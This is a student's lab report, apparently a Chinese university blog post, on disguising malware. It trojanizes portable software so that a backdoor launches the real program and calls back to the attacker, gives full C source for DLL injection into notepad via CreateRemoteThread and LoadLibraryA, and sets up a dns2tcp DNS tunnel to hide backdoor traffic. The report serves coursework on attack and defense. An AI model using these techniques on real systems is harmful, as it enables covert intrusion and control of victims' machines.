20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
木马化正常软件
- 思路:
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
测试模式.exe),然后通过之前实验的方法半手动编译一个后门exe程序,在原本的后门程序代码中加入对原本的程序主文件(现在的dll文件)调用,打开正常的程序。这样就可以实现隐蔽的后门,还可以诱导客户打开后门文件而不知道,也是所谓的“绿色软件”不绿色的原因。
- 在正常软件包中将原本的程序主文件(平时打开程序用的exe文件)改成dll后缀(或者伪装成其他的exe,比如
实践过程
- 这里的实践是通过一种伪装,将后门伪装成软件的运行程序,将原本的运行程序伪装成其他的文件,诱使用户打开后门程序:
- 先对之前的后门代码修改一下,其实就是加入了打开另外一个exe文件的命令:

- 然后把生成的exe文件改名后放在软件的目录中:

- 运行之后果然可以打开目的软件,回连自然也是可以的。
- 通过wireshake抓包可以看出来,当我打开执行文件之后,在运行目标软件的同时也在尝试回连攻击方,在这里我没有打开攻击方虚拟机,所以ARP没有对这次回连进行响应,但是如果打开的话是肯定可以回连的。

- 现在回头看一下电脑里面的“绿色免安装版”游戏,真的是不能再爱了:

- 是不是和刚刚我把后门伪装起来的方法很像?所以如果这些所谓的绿色软件想植入后门,简直太容易了,而且很大可能性他们已经植入了。
- 所以官方软件在下载的时候都会提供MD5来给用户校验自己的软件有没有被人给篡改。
- ps:在后门程序编译的时候进入项目的属性中可以修改编译方式为静态库,这样生成的exe文件就可以独立运行,而不提示缺少dll了。
DLL注入技术实现后门注入
- 思路:
- DLL注入是将DLL注入到其他进程中的源程序之中,使用DLL注入器的软件肯定是比较方便的,但是要注入后门肯定不能告诉别人说你安装一个DLL注入器把我的后门注入进去吧,还是要靠编写代码来实现进入指定进程的地址空间,将调用后门的代码写入运行的进程之中。
- 对于DLL注入的方法网上资料相对比较丰富,但是在本次实践中时间紧张,不知道能不能搞出来。
实践过程
参考代码段:
用于注入dll到指定进程的exe程序代码,这里指定的是记事本进程:
#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <TlHelp32.h>
DWORD getProcessHandle(LPCTSTR lpProcessName)//根据进程名查找进程PID
{
DWORD dwRet = 0;
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapShot == INVALID_HANDLE_VALUE)
{
printf("\n获得进程快照失败%d", GetLastError());
return dwRet;
}
PROCESSENTRY32 pe32;//声明进程入口对象
pe32.dwSize = sizeof(PROCESSENTRY32);//填充进程入口对象大小
Process32First(hSnapShot, &pe32);//遍历进程列表
do
{
if (!lstrcmp(pe32.szExeFile, lpProcessName))//查找指定进程名的PID
{
dwRet = pe32.th32ProcessID;
break;
}
} while (Process32Next(hSnapShot, &pe32));
CloseHandle(hSnapShot);
return dwRet;//返回
}
INT main(INT argc, CHAR * argv[])
{
DWORD dwPid = getProcessHandle("notepad.exe");
LPCSTR lpDllName = "dll_test.dll";
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPid);
if (hProcess == NULL)
{
printf("\n获取进程句柄错误%d", GetLastError());
return -1;
}
DWORD dwSize = strlen(lpDllName) + 1;
DWORD dwHasWrite;
LPVOID lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwHasWrite))
{
if (dwHasWrite != dwSize)
{
VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
CloseHandle(hProcess);
return -1;
}
}
else
{
printf("\n写入远程进程内存空间出错%d。", GetLastError());
CloseHandle(hProcess);
return -1;
}
DWORD dwNewThreadId;
LPVOID lpLoadDll = LoadLibraryA;
HANDLE hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
if (hNewRemoteThread == NULL)
{
printf("\n建立远程线程失败%d", GetLastError());
CloseHandle(hProcess);
return -1;
}
WaitForSingleObject(hNewRemoteThread, INFINITE);
CloseHandle(hNewRemoteThread);
//准备卸载之前注入的Dll
DWORD dwHandle, dwID;
LPVOID pFunc = GetModuleHandleA;//获得在远程线程中被注入的Dll的句柄
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, lpRemoteBuf, 0, &dwID);
WaitForSingleObject(hThread, INFINITE);
GetExitCodeThread(hThread, &dwHandle);//线程的结束码即为Dll模块儿的句柄
CloseHandle(hThread);
pFunc = FreeLibrary;
hThread = CreateRemoteThread(hThread, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, (LPVOID)dwHandle, 0, &dwID); //将FreeLibraryA注入到远程线程中去卸载Dll
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProcess);
return 0;
}
- 尝试去注入进程:
- 当指定进程未开启时,连接不到进程:

- 当进程开启时,连接到进程但建立线程失败:

- 查找了一个出错函数的erro值含义了解到是因为拒绝访问而出错,接下来尝试提升权限来试试或者更改路径等方法
- 生成dll程序的代码:
。。。。。。(待补全)
DNS隧道技术实践实现后门通信隐藏。
简介
- 隧道技术(Tunneling)是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将其它协议的数据帧或包重新封装然后通过隧道发送。新的帧头提供路由信息,以便通过互联网传递被封装的负载数据。
DNS隧道设置
- 使用了三台虚拟机:攻击主机-KALI;DNS服务器-windows 2008;目标靶机-KALI。
DNS服务器设置(IP-192.168.1.242)
- 首先需要一台主机作为DNS服务器,在这次实验中我用的是2008系统,建立DNS服务器的过程在网上很多,大致就是像之前建立IIS一样新建角色,然后在DNS服务器中添加主机,添加的主机的IP设为攻击主机的IP,然后新建立一个委托,域名我设置成了
cy.caiye.com。
攻击主机设置(IP-192.168.1.180)
- 接下来的所有修改建议修改之前先备份。
- 修改dns2tcpd配置文件:

- 启动dns隧道的服务端:

客户端配置(IP-192.168.52.128)
- 先删除ssh连接的known_hosts文件,可以避免出现一些ssh连接的问题,然后修改DNS解析文件:vim /etc/resolv.conf,将地址改为之前DNS服务器的地址:


- 配置dns隧道客户端程序
- 因为在kali2中,本身没有配置文件,所以需要自己写配置文件
vim /etc/dns2tcpc.conf,然后通过dns2tcpc -z cy.caiye.com测试是否可以提供服务:

- 这个时候就可以测试连接了(
dns2tcpc -c -f /etc/dns2tcpc.conf指令来监听连接):

在ssh的连接过程中遇到了一些问题,在网上找到了一部分答案,这个资料中相对全面:资料链接
实验连接测试结果:
下面是通过控制对方主机的一个客户获得root权限,然后在对方主机中新建了一个test文件



- 从结果上看,虽然实现了通过dns隧道通信来操控另外一台主机的效果,但是与实验预期的不一样,变成了靶机操控攻击端(也可能是我对dns通信过程的理解不深,反正做出来的结果和想的不一样 = =!),而且通过第二章图片攻击端的反馈信息来看,建立的连接也不是预期的效果,存在问题,希望可以通过以后的学习来解开这些疑问。
实践感想
- 本次进阶实践感觉还是很困难的,认识到自己的能力很弱,基础知识不够,三个实践内容都不简单,勉强做了一些但是还存在许多问题,希望有其他人可以做出来,然后互相学习一下思路和方法。
参考资料
20145208 蔡野《网络对抗》Exp3 Advanced 恶意代码伪装技术实践的更多相关文章
- 20145212 罗天晨 《网络对抗》Exp3 Advanced 恶意代码伪装技术实践
恶意代码伪装技术实践 木马化正常软件. 啊哈--原本以为很复杂--然后我看了一下蔡野同学的博客,发现原理竟然如此简单-- 对原先生成病毒的代码稍作修改: 于是--把生成的后门软件改成骗人的名字:这里改 ...
- 20155232《网络对抗》Exp4 恶意代码分析
20155232<网络对抗>Exp4 恶意代码分析 1.实践目标 1.1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 1.2是分析一个恶意软件,就分析Exp2或Exp3中生成后门 ...
- 20145208 蔡野 《网络对抗》Exp4 恶意代码分析
20145208 蔡野 <网络对抗>Exp4 恶意代码分析 问题回答 总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,端口,服务还有文 ...
- 20145312《网络对抗》Exp4 恶意代码分析
20145312<网络对抗>Exp4 恶意代码分析 问题回答 1.总结一下监控一个系统通常需要监控什么.用什么来监控. 监控一个系统通常需要监控这个系统的注册表,进程,开放端口,程序服务还 ...
- 20155227《网络对抗》Exp4 恶意代码分析
20155227<网络对抗>Exp4 恶意代码分析 实践目标 1.是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2.是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分 ...
- 20155302《网络对抗》Exp4 恶意代码分析
20155302<网络对抗>Exp4 恶意代码分析 实验要求 •是监控你自己系统的运行状态,看有没有可疑的程序在运行. •是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件:分析工 ...
- 20155308《网络对抗》Exp4 恶意代码分析
20155308<网络对抗>Exp4 恶意代码分析 实践说明 实践目标 是监控你自己系统的运行状态,看有没有可疑的程序在运行. 是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20155323刘威良《网络对抗》Exp4 恶意代码分析
20155323刘威良<网络对抗>Exp4 恶意代码分析 实践目标 1是监控你自己系统的运行状态,看有没有可疑的程序在运行. 2是分析一个恶意软件,就分析Exp2或Exp3中生成后门软件: ...
- 20145215《网络对抗》Exp4 恶意代码分析
20145215<网络对抗>Exp4 恶意代码分析 基础问题回答 如果在工作中怀疑一台主机上有恶意代码,但只是猜想,所有想监控下系统一天天的到底在干些什么.请设计下你想监控的操作有哪些,用 ...
随机推荐
- CCCC L2-020. 功夫传人 搜索 bfs && 精度+ 特判
https://www.patest.cn/contests/gplt/L2-020 题解:给你一颗树,让你遍历一遍,顺便更新一下数据,每次到根节点时将其对应的数据加到ans上面.这里用的bfs. 坑 ...
- 关于ArcGIS Server修改数据源是否对切片服务有影响
感谢一路走来默默支持和陪伴的你~~~ ------------------欢迎来访,拒绝转载------------------- (一)问题: 一直有人问一个问题: 1.我发布了切片的地图服务一以后 ...
- MTD 移动目标防御技术
移动目标防御技术,主要包括系统随机化,生物启发MTD,网络随机化,云MTD,动态编译等等.研讨会还就威胁建模和量化移动目标防御技术的效能评估进行了推进.理论和定量的模型对于该技术的颠覆性影响至关重要. ...
- WebWorker的浏览器"异步线程"
worker新线程: 1.通过postMessage( data ) 方法来向主线程发送数据; 2.绑定onmessage方法来接收主线程发送过来的数据: 3.worker外部文件不允许使用win ...
- 小希的迷宫---hdu1272
http://acm.hdu.edu.cn/showproblem.php?pid=1272 #include<stdio.h> #include<string.h> #inc ...
- Redis添加历史浏览记录
参考资料 http://redisdoc.com/index.html http://redis-py.readthedocs.io/en/latest/#indices-and-tables 1.什 ...
- MySQL DBA 管理常用命令
一:在Linux下管理MySQL数据库的时候总有一些很紧急的情况,发现数据库突然变得压力很大了,那么作为一个DBA,也许需要一些常用的手段或者说命令去分析问题出现在哪里,然后解决: 数据库突然产生压力 ...
- spring boot读取配置文件
一.springboot配置文件 核心配置文件和自定义配置文件.核心配置文件是指在resources根目录下的application.properties或application.yml配置文 ...
- PAT Counting Leaves[一般]
1004 Counting Leaves (30)(30 分) A family hierarchy is usually presented by a pedigree tree. Your job ...
- [LeetCode] 694. Number of Distinct Islands
Given a non-empty 2D array grid of 0's and 1's, an island is a group of 1's (representing land) conn ...